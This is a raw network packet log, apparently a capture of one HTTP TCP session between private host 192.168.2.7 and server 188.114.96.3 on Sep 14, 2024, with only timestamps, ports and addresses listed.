Sep 14, 2024 18:44:29.461132050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461164951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461174965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461201906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461230993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461241961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461280107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461314917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461338043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461368084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461400986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461406946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461435080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461467981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461473942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461503029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461534977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461568117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461577892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461601019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461631060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461635113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461668015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461674929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461719036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461751938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461791039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461819887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461822987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461831093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461858034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461889982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461891890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461924076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461956024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461963892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461991072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462023020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462033987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462058067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462091923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462095976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462126017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462167978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462177992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462210894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462255001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462261915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462296963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462328911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462338924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462363958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462393999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462404966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462428093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462460995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462471962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462495089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462528944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462538004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462560892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462593079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462599039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462630987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462663889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462672949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462698936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462730885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462739944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462764025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462780952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462810040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462815046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462847948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462862015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462882996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462915897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462924957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.462951899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462984085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.462994099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.463021040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.463048935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.463063955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.517155886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517246008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517297029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517332077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517364025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517410994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517445087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517462969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.517479897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.517499924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.564661980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744396925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744458914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744520903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744529963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744538069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744564056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744570971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744602919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744672060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744688034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744704962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744719982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744748116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744784117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744787931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744798899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744812965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744828939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744837046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744849920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744863987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744865894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744883060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744896889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744898081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744910955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744926929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.744932890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.744961023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745147943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745162964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745179892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745193958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745201111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745213032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745249033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745291948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745307922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745322943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745332956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745337963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745354891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745362043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745403051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745441914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745465040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745477915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745491028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745498896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745506048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745518923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745532990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745544910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745548964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745563984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745572090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745579004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745590925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745594025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745610952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745618105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745625973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745640993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745645046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745656967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745672941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745681047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.745697021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.745770931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746090889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746104956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746119022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746133089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746141911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746155024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746170044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746174097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746186018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746193886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746203899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746218920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746226072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746247053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746260881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746268034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746277094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746292114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746294022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746309996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746326923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746326923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746373892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746390104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746395111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746407032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746421099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746427059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746437073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746453047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746454954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746469021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746484041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746489048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746500015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746515036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746516943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746532917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746546030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746560097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746570110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746576071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.746577024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.746609926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747375011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747401953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747421980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747436047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747442007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747442961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747463942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747478962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747479916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747492075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747494936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747510910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747524977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747534990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747540951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747555971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747560978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747571945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747586012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747589111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747601032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747616053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747617960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747632980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747648001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747649908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747664928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747680902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747680902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747698069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747711897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747714996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747728109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747741938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747745991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747759104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747772932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747773886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747790098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747805119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.747805119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.747837067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748086929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748102903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748116970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748131990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748146057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748148918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748162031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748163939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748202085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748250008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748265982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748280048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748294115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748300076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748308897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748325109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748327017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748347998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748359919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748363972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748378992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748394012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748404980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748409033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748425007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748428106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748440027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748456001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748456955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748471022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748486996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748490095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748500109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748514891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748522043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748531103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748544931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748548985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748559952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748574018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748574972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748589993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748604059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748610020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748620987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748639107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748882055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748898029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748910904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748920918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748924971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748939991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748954058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748955965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748970985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.748977900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.748985052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749000072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749002934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749031067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749038935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749054909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749069929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749083996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749092102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749103069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749119043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749119997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749135971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749149084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749151945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749164104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749180079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749186039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749193907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749212027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749214888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749227047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749242067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749244928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749258041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749274015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749274969 CEST	54891	80	192.168.2.7	188.114.96.3
